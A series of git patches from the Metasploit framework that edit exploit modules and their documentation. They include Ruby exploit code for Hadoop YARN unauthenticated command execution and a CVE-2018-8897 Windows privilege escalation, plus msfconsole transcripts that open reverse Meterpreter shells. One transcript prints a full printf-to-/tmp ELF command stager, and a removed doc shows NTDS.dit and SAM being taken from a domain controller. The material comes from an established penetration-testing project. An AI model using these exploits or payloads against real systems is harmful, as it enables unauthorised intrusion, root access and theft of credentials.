"/modules/exploits/windows/misc/allmediaserver_bof.rb", "is_install_path": true, "ref_name": "windows/misc/allmediaserver_bof" @@ -76828,7 +76828,7 @@ "targets": [ "BigAnt 2.52 Universal" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/misc/bigant_server_usv.rb", "is_install_path": true, "ref_name": "windows/misc/bigant_server_usv" @@ -77147,7 +77147,7 @@ "targets": [ "Commvault Communications Service (cvd) / Microsoft Windows 7 and higher" ], - "mod_time": "2017-12-22 10:57:11 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/misc/commvault_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/misc/commvault_cmd_exec" @@ -77173,7 +77173,7 @@ "targets": [ "Disk Savvy Enterprise v10.4.18" ], - "mod_time": "2018-02-20 15:35:43 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/misc/disk_savvy_adm.rb", "is_install_path": true, "ref_name": "windows/misc/disk_savvy_adm" @@ -78803,7 +78803,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/misc/nettransport.rb", "is_install_path": true, "ref_name": "windows/misc/nettransport" @@ -79124,7 +79124,7 @@ "SolidWorks Workgroup PDM <= 2014 SP2 (Windows XP SP0-SP3)", "SolidWorks Workgroup PDM <= 2014 SP2 (Windows Vista onwards)" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/misc/solidworks_workgroup_pdmwservice_file_write.rb", "is_install_path": true, "ref_name": "windows/misc/solidworks_workgroup_pdmwservice_file_write" @@ -80030,7 +80030,7 @@ "targets": [ "Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/novell/netiq_pum_eval.rb", "is_install_path": true, "ref_name": "windows/novell/netiq_pum_eval" @@ -80116,7 +80116,7 @@ "targets": [ "Novell ZENworks Configuration Management 10 SP2 / Windows 2003 SP2" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb", "is_install_path": true, "ref_name": "windows/novell/zenworks_preboot_op21_bof" @@ -82818,7 +82818,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/exploits/windows/smtp/sysgauge_client_bof.rb", "is_install_path": true, "ref_name": "windows/smtp/sysgauge_client_bof" From c62fc5e976ba50d791691b44e32826b5487ed670 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Jul 2018 17:13:23 -0700 Subject: [PATCH 151/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 03dca9fdc8..6fd3229d8f 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -39932,7 +39932,7 @@ "targets": [ "GitList v0.6.0" ], - "mod_time": "2018-07-12 17:34:52 +0000", + "mod_time": "2018-07-12 19:03:52 +0000", "path": "/modules/exploits/multi/http/gitlist_arg_injection.rb", "is_install_path": true, "ref_name": "multi/http/gitlist_arg_injection" From 50252c75d645f35c39d06a79925cf8b278a1ab73 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 12 Jul 2018 21:32:09 -0500 Subject: [PATCH 152/217] Clean up module With a little rubocop -a. --- .../exploit/linux/http/hadoop_unauth_exec.md | 34 +++++++------- .../exploits/linux/http/hadoop_unauth_exec.rb | 47 +++++++++---------- 2 files changed, 40 insertions(+), 41 deletions(-) diff --git a/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md b/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md index d42b891823..6f04d1d5cf 100644 --- a/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md +++ b/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md @@ -1,21 +1,21 @@ -## Description +## Description This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API. -## Vulnerable Application +## Vulnerable Application -**Vulnerable Application Link** +**Vulnerable Application Link** -- docker +- docker https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn ## Vulnerable Application Installation Setup. -Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up -d` +Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up -d` -## Verification Steps +## Verification Steps Example steps in this format (is also in the PR): @@ -33,11 +33,11 @@ Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up 9. You should get a shell. -## Scenarios +## Scenarios ``` -msf5 > use exploit/linux/http/hadoop_unauth_exec -msf5 exploit(linux/http/hadoop_unauth_exec) > show options +msf5 > use exploit/linux/http/hadoop_unauth_exec +msf5 exploit(linux/http/hadoop_unauth_exec) > show options Module options (exploit/linux/http/hadoop_unauth_exec): @@ -61,11 +61,11 @@ Exploit target: 0 Automatic -msf5 exploit(linux/http/hadoop_unauth_exec) > set rhost 192.168.77.141 -rhost => 192.168.77.141 +msf5 exploit(linux/http/hadoop_unauth_exec) > set rhost 192.168.77.141 +rhost => 192.168.77.141 msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf5 exploit(linux/http/hadoop_unauth_exec) > show options +msf5 exploit(linux/http/hadoop_unauth_exec) > show options Module options (exploit/linux/http/hadoop_unauth_exec): @@ -97,16 +97,16 @@ Exploit target: 0 Automatic -msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.77.141 +msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.77.141 lhost => 192.168.77.141 -msf5 exploit(linux/http/hadoop_unauth_exec) > exploit +msf5 exploit(linux/http/hadoop_unauth_exec) > exploit -[*] Started reverse TCP handler on 192.168.77.141:4444 +[*] Started reverse TCP handler on 192.168.77.141:4444 [*] Sending Command [*] Command Stager progress - 100.00% done (763/763 bytes) [*] Sending stage (853256 bytes) to 172.20.0.3 [*] Meterpreter session 1 opened (192.168.77.141:4444 -> 172.20.0.3:34138) at 2018-05-15 03:21:17 -0400 -meterpreter > getuid +meterpreter > getuid Server username: uid=0, gid=0, euid=0, egid=0 -``` \ No newline at end of file +``` diff --git a/modules/exploits/linux/http/hadoop_unauth_exec.rb b/modules/exploits/linux/http/hadoop_unauth_exec.rb index 115d856426..40208ea6e5 100644 --- a/modules/exploits/linux/http/hadoop_unauth_exec.rb +++ b/modules/exploits/linux/http/hadoop_unauth_exec.rb @@ -4,6 +4,7 @@ ## class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -18,38 +19,35 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'cbmixx', # Proof of concept - 'Green-m ' # Metasploit module + 'cbmixx', # Proof of concept + 'Green-m ' # Metasploit module ], 'References' => [ - [ 'URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'], - [ 'URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn'] + ['URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'], + ['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn'] ], - 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ - ['Automatic', {} ], + ['Automatic', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 19 2016', 'DefaultTarget' => 0 - )) + )) register_options([Opt::RPORT(8088)]) end - def check begin res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), - 'method' => 'POST' + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), + 'method' => 'POST' ) - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e + rescue Rex::ConnectionError vprint_error("#{peer} - Connection failed") return CheckCode::Unknown end @@ -68,26 +66,27 @@ class MetasploitModule < Msf::Exploit::Remote def execute_command(cmd, opts = {}) res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), - 'method' => 'POST' + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), + 'method' => 'POST' ) app_id = res.get_json_document['application-id'] post = { - 'application-id' => app_id, - 'application-name' => Rex::Text.rand_text_alpha_lower(4..12), - 'application-type' => 'YARN', - 'am-container-spec' => { - 'commands' => {'command' => cmd.to_s}, + 'application-id' => app_id, + 'application-name' => Rex::Text.rand_text_alpha_lower(4..12), + 'application-type' => 'YARN', + 'am-container-spec' => { + 'commands' => {'command' => cmd.to_s} } } - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'), - 'method' => 'POST', - 'ctype' => 'application/json', - 'data' => post.to_json + send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'), + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => post.to_json ) end + end From 63fb0d744a8ffec283d9918b084cf18391d60601 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Jul 2018 20:08:32 -0700 Subject: [PATCH 153/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 30 +++++++++++++++++++++++++++++- 1 file changed, 29 insertions(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 6fd3229d8f..9164c4852c 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -30546,7 +30546,7 @@ "Apache CouchDB version 1.x", "Apache CouchDB version 2.x" ], - "mod_time": "2018-07-12 00:49:29 +0000", + "mod_time": "2018-07-12 21:58:49 +0000", "path": "/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb", "is_install_path": true, "ref_name": "linux/http/apache_couchdb_cmd_exec" @@ -31937,6 +31937,34 @@ "is_install_path": true, "ref_name": "linux/http/groundwork_monarch_cmd_exec" }, + "exploit_linux/http/hadoop_unauth_exec": { + "name": "Hadoop YARN ResourceManager Unauthenticated Command Execution", + "full_name": "exploit/linux/http/hadoop_unauth_exec", + "rank": 600, + "disclosure_date": "2016-10-19", + "type": "exploit", + "author": [ + "cbmixx", + "Green-m " + ], + "description": "This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API.", + "references": [ + "URL-http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf", + "URL-https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn" + ], + "is_server": false, + "is_client": false, + "platform": "Linux", + "arch": "x86, x64", + "rport": "8088", + "targets": [ + "Automatic" + ], + "mod_time": "2018-07-12 21:32:09 +0000", + "path": "/modules/exploits/linux/http/hadoop_unauth_exec.rb", + "is_install_path": true, + "ref_name": "linux/http/hadoop_unauth_exec" + }, "exploit_linux/http/hp_system_management": { "name": "HP System Management Anonymous Access Code Execution", "full_name": "exploit/linux/http/hp_system_management", From f02c05e5305fdf2d8b402d411147c1cd49ecffe9 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Thu, 12 Jul 2018 22:09:44 -0500 Subject: [PATCH 154/217] This one is the same as cve_2018_8897_exe.rb --- .../windows/local/cve-2018-8897-exe.rb | 137 ------------------ 1 file changed, 137 deletions(-) delete mode 100644 modules/exploits/windows/local/cve-2018-8897-exe.rb diff --git a/modules/exploits/windows/local/cve-2018-8897-exe.rb b/modules/exploits/windows/local/cve-2018-8897-exe.rb deleted file mode 100644 index 665985bf35..0000000000 --- a/modules/exploits/windows/local/cve-2018-8897-exe.rb +++ /dev/null @@ -1,137 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core/post/common' -require 'msf/core/post/file' -require 'msf/core/post/windows/priv' -require 'msf/core/post/windows/registry' -require 'msf/core/exploit/exe' - -class MetasploitModule < Msf::Exploit::Local - Rank = ExcellentRanking - - include Msf::Post::Common - include Msf::Post::File - include Msf::Post::Windows::Priv - include Msf::Exploit::EXE - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Windows Kernel Elevation of Privilege Vulnerability', - 'Description' => %q{ - This module will upload a precompiled binary that uses CVE-2018-8897 - to elevate a second binary's privs.) - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Can Bölük ', # PoC - 'bwatters-r7' # msf module - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ [ 'Windows', {} ] ], - 'DefaultTarget' => 0, - 'DisclosureDate' => "May 08 2018", - 'DefaultOptions' => - { - 'DisablePayloadHandler' => 'False' - } - )) - - register_options([ - OptString.new('EXPLOIT_NAME', - [false, 'The filename to use for the exploit binary (%RAND% by default).', nil]), - OptString.new('PAYLOAD_NAME', - [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), - OptString.new('PATH', - [false, 'Path to write binaries (%TEMP% by default).', nil]) - ]) - - end - - # Exploit method for when exploit command is issued - def exploit - # Define default values - exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) - payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) - - exploit_name = exploit_name + '.exe' if exploit_name[-4,4] != '.exe' - payload_name = payload_name + '.exe' if payload_name[-4,4] != '.exe' - - # Connect to the session - begin - host = session.session_host - print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") - rescue => e - print_error("Could not connect to session: #{e}") - return nil - end - - # Generate the exe payload - vprint_status("Generating EXE payload (#{payload_name})") - payload_exe = generate_payload_exe - # Writes script to target host and returns the pathname of the target file or nil if the - # file could not be written. - temppath = datastore['PATH'] || session.sys.config.getenv('TEMP') - payload_path = temppath + "\\" + payload_name - exploit_path = temppath + "\\" + exploit_name - - unless directory?(temppath) - print_error("#{temppath} does not exists on the target") - return nil - end - - if file?(exploit_path) - print_warning("#{payload_path} already exists on the target. Deleting...") - begin - file_rm(filepath) - print_good("Deleted #{filepath}") - rescue - print_error("Unable to delete file!") - return nil - end - end - - # UPLOAD EXPLOIT - begin - #data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe - local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe') - print_status(local_exploit_path) - upload_file(exploit_path, local_exploit_path) - print_good("Payload uploaded on #{sysinfo['Computer']} to #{exploit_path}") - - # Escape windows pathname separators. - #@clean_up_rc << "rm #{exploit_path.gsub(/\\/, '//')}\n" - rescue => exception - puts exception.backtrace - print_error("Could not write the exploit on the target") - end - # UPLOAD PAYLOAD - begin - #data/exploits/cve-2018-8897-exe/cve-2018-8897-exe.exe - print_status(payload_path) - write_file(payload_path, payload_exe) - print_good("Payload uploaded on #{sysinfo['Computer']} to #{exploit_path}") - - # Escape windows pathname separators. - #@clean_up_rc << "rm #{payload_path.gsub(/\\/, '//')}\n" - rescue => exception - puts exception.backtrace - print_error("Could not write the payload on the target") - end - - # EXECUTE EXPLOIT - sleep(3) - begin - print_status("Running exploit #{exploit_path} with payload #{payload_path}") - output = cmd_exec("cmd.exe", "/c #{exploit_path} #{payload_path}") - vprint_status(output) - rescue - print_error("Failed to execute payload on target") - execsuccess = false - end - end -end From 358347358fd9dcd4db96fac07b1bb0cd7c87e097 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 13 Jul 2018 04:18:56 +0000 Subject: [PATCH 155/217] Add documentation --- .../http/qnap_qcenter_change_passwd_exec.md | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md diff --git a/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md b/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md new file mode 100644 index 0000000000..2b311cfc69 --- /dev/null +++ b/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md @@ -0,0 +1,80 @@ +## Description + + This module exploits a command injection vulnerability in the + `change_passwd` API method within the web interface of QNAP Q'Center + virtual appliance versions prior to 1.7.1083. + + The vulnerability allows the `admin` privileged user account to + execute arbitrary commands as the `admin` operating system user. + + Valid credentials for the `admin` user account are required, however, + this module also exploits a separate password disclosure issue which + allows any authenticated user to view the password set for the `admin` + user during first install. + + +## Vulnerable Application + + [QNAP Q'Center](https://www.qnap.com/solution/qcenter/index.php) is a central + management platform that enables you to consolidate the management of multiple + QNAP NAS devices. + + This module has been tested successfully on QNAP Q'Center appliance + version 1.6.1075. + + +## Verification Steps + + 1. Start `msfconsole` + 2. `use exploit/linux/http/qnap_qcenter_change_passwd_exec` + 3. `set USERNAME ` (default: `admin`) + 4. `set PASSOWRD ` (default: `admin`) + 5. `run` + 6. You should get a session + + +## Options + + **USERNAME** + + Username for the application. (default: `admin`) + + **PASSWORD** + + Password for the application. (default: `admin`) + + +## Scenarios + + ``` + msf5 > use exploit/linux/http/qnap_qcenter_change_passwd_exec + msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set rhosts 10.1.1.112 + rhosts => 10.1.1.112 + msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set verbose true + verbose => true + msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > check + + [*] Target is QNAP Q'Center appliance version 1.6.1075 + [*] 10.1.1.112:443 The target appears to be vulnerable. + msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > run + + [*] Started reverse TCP handler on 10.1.1.197:4444 + [*] Target is QNAP Q'Center appliance version 1.6.1075 + [+] Authenticated as user 'admin' successfully + [*] Sending payload ... + [*] Generated command stager: ["printf '\\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\317\\0\\0\\0\\112\\1\\0\\0\\7\\0\\0\\0\\0\\20\\0\\0\\152\\12\\136\\61\\333\\367\\343\\123\\103\\123\\152\\2\\260\\146\\211\\341\\315\\200\\227\\133\\150\\12\\1\\1\\305\\150\\2\\0\\21\\134\\211\\341\\152\\146\\130\\120\\121\\127\\211\\341\\103\\315\\200\\205\\300\\171\\31\\116\\164\\75\\150\\242\\0\\0\\0\\130\\152\\0\\152\\5\\211\\343\\61\\311\\315\\200\\205\\300\\171\\275\\353\\47\\262\\7\\271\\0\\20\\0\\0\\211\\343\\301\\353\\14\\301\\343\\14\\260\\175\\315\\200\\205\\300\\170\\20\\133\\211\\341\\231\\266\\14\\260\\3\\315\\200\\205\\300\\170\\2\\377\\341\\270\\1\\0\\0\\0\\273\\1\\0\\0\\0\\315\\200'>>/tmp/ivFxR ; chmod +x /tmp/ivFxR ; /tmp/ivFxR ; rm -f /tmp/ivFxR"] + [*] Transmitting intermediate stager...(106 bytes) + [*] Sending stage (861480 bytes) to 10.1.1.112 + [*] Command Stager progress - 100.00% done (701/701 bytes) + + meterpreter > getuid + Server username: uid=1001, gid=1001, euid=1001, egid=1001 + meterpreter > sysinfo + Computer : 10.1.1.112 + OS : Ubuntu 14.04 (Linux 3.13.0-32-generic) + Architecture : x64 + BuildTuple : i486-linux-musl + Meterpreter : x86/linux + meterpreter > + ``` + From a020d48caf34e2a90957b8b9960669f15f38de47 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 13 Jul 2018 04:46:25 +0000 Subject: [PATCH 156/217] Move module documentation to documentation directory --- .../http/manageengine_adshacluster_rce.md | 0 modules/post/windows/gather/ntds_grabber.md | 58 ------------------- 2 files changed, 58 deletions(-) rename {modules/exploits => documentation/modules/exploit}/windows/http/manageengine_adshacluster_rce.md (100%) delete mode 100644 modules/post/windows/gather/ntds_grabber.md diff --git a/modules/exploits/windows/http/manageengine_adshacluster_rce.md b/documentation/modules/exploit/windows/http/manageengine_adshacluster_rce.md similarity index 100% rename from modules/exploits/windows/http/manageengine_adshacluster_rce.md rename to documentation/modules/exploit/windows/http/manageengine_adshacluster_rce.md diff --git a/modules/post/windows/gather/ntds_grabber.md b/modules/post/windows/gather/ntds_grabber.md deleted file mode 100644 index a0ca4b9601..0000000000 --- a/modules/post/windows/gather/ntds_grabber.md +++ /dev/null @@ -1,58 +0,0 @@ -## Creating A Testing Environment - To use this module you need an meterpreter on a domain controller. - The meterpreter has to have SYSTEM priviliges. - Powershell has te be installed. - -This module has been tested against: - - 1. Windows Server 2008r2 - -This module was not tested against, but may work against: - - 1. Other versions of Windows server. - -## Verification Steps - - 1. Start msfconsole - 2. Obtain a meterpreter session with a meterpreter via whatever method. - 3. Ensure the metepreter has SYSTEM priviliges. - 4. Ensure powershell is installed. - 3. Do: 'use post/windows/gather/ntds_grabber ' - 4. Do: 'set session #' - 5. Do: 'run' - -## Scenarios - -### Windows Server 2008r2 with an x86 meterpreter - - msf exploit(psexec) > use post/windows/gather/ntds_grabber - msf post(ntds_grabber) > set session # - session => # - msf post(ntds_grabber) > run - - [+] [2017.04.05-12:26:49] Running as SYSTEM - [+] [2017.04.05-12:26:50] Running on a domain controller - [+] [2017.04.05-12:26:50] PowerShell is installed. - [-] [2017.04.05-12:26:50] The meterpreter is not the same architecture as the OS! Migrating to process matching architecture! - [*] [2017.04.05-12:26:50] Starting new x64 process C:\windows\sysnative\svchost.exe - [+] [2017.04.05-12:26:51] Got pid 3088 - [*] [2017.04.05-12:26:51] Migrating.. - [+] [2017.04.05-12:26:56] Success! - [*] [2017.04.05-12:26:56] Powershell Script executed - [*] [2017.04.05-12:26:59] Creating All.cab - [*] [2017.04.05-12:27:01] Waiting for All.cab - [*] [2017.04.05-12:27:02] Waiting for All.cab - [+] [2017.04.05-12:27:02] All.cab should be created in the current working directory - [*] [2017.04.05-12:27:05] Downloading All.cab - [+] [2017.04.05-12:27:15] All.cab saved in: /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab - [*] [2017.04.05-12:27:15] Removing All.cab - [+] [2017.04.05-12:27:15] All.cab Removed - [*] Post module execution completed - msf post(ntds_grabber) > loot - - Loot - ==== - - host service type name content info path - ---- ------- ---- ---- ------- ---- ---- - 10.100.0.2 Cabinet File All.cab application/cab Cabinet file containing SAM, SYSTEM and NTDS.dit /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab From dd9870d2115b2d447af08e21b5bad1d539c89cec Mon Sep 17 00:00:00 2001 From: Metasploit Date: Thu, 12 Jul 2018 22:00:26 -0700 Subject: [PATCH 157/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 9164c4852c..4fa7150529 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -31941,7 +31941,7 @@ "name": "Hadoop YARN ResourceManager Unauthenticated Command Execution", "full_name": "exploit/linux/http/hadoop_unauth_exec", "rank": 600, - "disclosure_date": "2016-10-19", + "disclosure_date": "2016-10-19 00:00:00 +0000", "type": "exploit", "author": [ "cbmixx", From 392cf3bbe108b9ff7d14c28a974057b60f229cbf Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 13 Jul 2018 15:00:31 +1000 Subject: [PATCH 158/217] Are hosts? --- .../linux/http/qnap_qcenter_change_passwd_exec.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md b/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md index 2b311cfc69..ba73d30826 100644 --- a/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md +++ b/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md @@ -27,10 +27,11 @@ 1. Start `msfconsole` 2. `use exploit/linux/http/qnap_qcenter_change_passwd_exec` - 3. `set USERNAME ` (default: `admin`) - 4. `set PASSOWRD ` (default: `admin`) - 5. `run` - 6. You should get a session + 3. `set RHOSTS ` + 4. `set USERNAME ` (default: `admin`) + 5. `set PASSOWRD ` (default: `admin`) + 6. `run` + 7. You should get a session ## Options From 1ad571f1366477928640363220c91c6b9904554a Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 13 Jul 2018 16:02:15 +1000 Subject: [PATCH 159/217] Fix password typo --- .../exploit/linux/http/qnap_qcenter_change_passwd_exec.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md b/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md index ba73d30826..792f3c5685 100644 --- a/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md +++ b/documentation/modules/exploit/linux/http/qnap_qcenter_change_passwd_exec.md @@ -29,7 +29,7 @@ 2. `use exploit/linux/http/qnap_qcenter_change_passwd_exec` 3. `set RHOSTS ` 4. `set USERNAME ` (default: `admin`) - 5. `set PASSOWRD ` (default: `admin`) + 5. `set PASSWORD ` (default: `admin`) 6. `run` 7. You should get a session From e1e8444188fa80f5c25c001871b82e03c7ca3de3 Mon Sep 17 00:00:00 2001 From: Wei Chen Date: Fri, 13 Jul 2018 01:06:21 -0500 Subject: [PATCH 160/217] Clean up ruby code for CVE-2018-8897 --- .../windows/local/cve_2018_8897_exe.rb | 197 ++++++++++-------- 1 file changed, 115 insertions(+), 82 deletions(-) diff --git a/modules/exploits/windows/local/cve_2018_8897_exe.rb b/modules/exploits/windows/local/cve_2018_8897_exe.rb index 6e0ada3a83..2bb8051d49 100644 --- a/modules/exploits/windows/local/cve_2018_8897_exe.rb +++ b/modules/exploits/windows/local/cve_2018_8897_exe.rb @@ -19,22 +19,40 @@ class MetasploitModule < Msf::Exploit::Local def initialize(info = {}) super(update_info(info, - 'Name' => 'Windows Kernel Elevation of Privilege Vulnerability', + 'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability', 'Description' => %q{ - This module will upload a precompiled binary that uses CVE-2018-8897 - to elevate a second binary's privs.) + This module exploits a vulnerability in a statement in the system programming guide + of the Intel 64 and IA-32 architectures software developer's manual being mishandled + in various operating system kerneles, resulting in unexpected behavior for #DB + excpetions that are deferred by MOV SS or POP SS. + + This module will upload the pre-compiled exploit and use it to execute the final + payload in order to gain remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ + 'Nick Peterson', # Original discovery (@nickeverdox) + 'Nemanja Mulasmajic', # Original discovery (@0xNemi) 'Can Bölük ', # PoC 'bwatters-r7' # msf module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], - 'Targets' => [ [ 'Windows', {} ] ], + 'Targets' => + [ + [ 'Windows', {} ] + ], 'DefaultTarget' => 0, - 'DisclosureDate' => "May 08 2018", + 'DisclosureDate' => 'May 08 2018', + 'References' => + [ + ['CVE', '2018-8897'], + ['EDB', '44697'], + ['BID', '104071'], + ['URL', 'https://github.com/can1357/CVE-2018-8897/'], + ['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/'] + ], 'DefaultOptions' => { 'DisablePayloadHandler' => 'False' @@ -47,90 +65,105 @@ class MetasploitModule < Msf::Exploit::Local OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('PATH', - [false, 'Path to write binaries (%TEMP% by default).', nil]) + [false, 'Path to write binaries (%TEMP% by default).', nil]), + OptInt.new('EXECUTE_DELAY', + [false, 'The number of seconds to delay before executing the exploit', 3]) ]) - end - # Exploit method for when exploit command is issued - def exploit - # Define default values - exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) - payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + def setup + super + @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + @payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) + @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) + @payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i) + @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') + @payload_path = "#{temp_path}\\#{payload_name}" + @exploit_path = "#{temp_path}\\#{exploit_name}" + @payload_exe = generate_payload_exe + end - exploit_name = exploit_name + '.exe' if exploit_name[-4,4] != '.exe' - payload_name = payload_name + '.exe' if payload_name[-4,4] != '.exe' - - # Connect to the session + def validate_active_host begin host = session.session_host print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: 